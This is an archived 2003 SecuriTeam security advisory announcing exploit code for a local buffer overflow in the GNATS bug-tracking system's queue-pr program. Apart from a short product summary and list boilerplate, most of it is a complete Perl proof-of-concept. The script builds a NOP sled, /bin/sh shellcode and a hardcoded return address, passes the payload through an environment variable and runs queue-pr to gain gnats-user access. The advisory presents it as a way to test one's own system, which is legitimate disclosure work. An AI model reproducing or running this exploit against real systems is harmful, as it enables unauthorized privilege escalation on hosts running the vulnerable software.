

[EXPL] GNATS Buffer Overflow Exploit Code Released (queue-pr)

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2003-07/0085.html>

From: SecuriTeam (support_at_securiteam.com)

Date: 07/21/03

To: list@securiteam.com

Date: 21 Jul 2003 15:17:18 +0200

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

Beyond Security in Canada

Toronto-based Sunrays Technologies is now Beyond Security's representative in Canada.

We welcome ISPs, system integrators and IT systems resellers

to promote the most advanced vulnerability assessment solutions today.

Contact us at 416-482-0038 or at canadasales@beyondsecurity.com

GNATS Buffer Overflow Exploit Code Released (queue-pr)

SUMMARY

<<http://www.gnu.org/software/gnats/>> GNATS is a portable incident/bug report/help request-tracking system which runs on UNIX-like operating systems. It easily handles thousands of problem reports, has been in wide use since the early 90s, and can do most of its operations over e-mail. Several front end interfaces exist, including command line, emacs, and Tcl/Tk interfaces. There are also a number of Web (CGI) interfaces written in scripting languages like Perl and Python.

The product has been found to contain multiple locally exploitable buffer overflow vulnerabilities (as we reported in our previous article:

<<http://www.securiteam.com/unixfocus/5CP0N0UAAA.html>> GNATS (The GNU bug-tracking system) Multiple Buffer Overflow Vulnerabilities).

The following exploit code can be used to test your system for the mentioned vulnerability (the vulnerability in queue-pr).

Securiteam: [EXPL] GNATS Buffer Overflow Exploit Code Released (queue-pr)

DETAILS

Vulnerable systems:

* GNATS version 3.113.1(6)

Exploit:

```
#!/usr/bin/perl
```

```
# Simple PoC exploit for gnats
# Tested on FreeBSD 5.0 with gnats-3.113.1_6
# if all works it gives gnats access
```

```
# Code by inv[at]dtors
```

```
$ret_hex = 0xbfbffb90;
```

```
$shellcode
```

```
="\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x54\x53\x52\x31\xc0\
\xb0\x3b\xcd\x80\x31\xc0\xb0\x01\xcd\x80";
```

```
$nops = "\x90" x 1110;
```

```
$ret = pack('l', $ret_hex);
```

```
$exploit = "$nops"."$shellcode"."$ret"."$ret";
```

```
local($ENV{'EXP'}) = $exploit;
```

```
print "\ndtors gnats exploit\n";
```

```
print "code by inv\n\n";
```

```
print ("Address: 0x", sprintf('%lx', $ret_hex), "\n\n");
```

```
system('/usr/local/libexec/gnats/queue-pr -d $EXP -O bbb');
```

ADDITIONAL INFORMATION

The information has been provided by <<mailto:inv@dtors>> inv.

=====

This bulletin is sent to members of the SecuriTeam mailing list.

To unsubscribe from the list, send mail with an empty subject line and body to:

list-unsubscribe@securiteam.com

In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

=====

=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.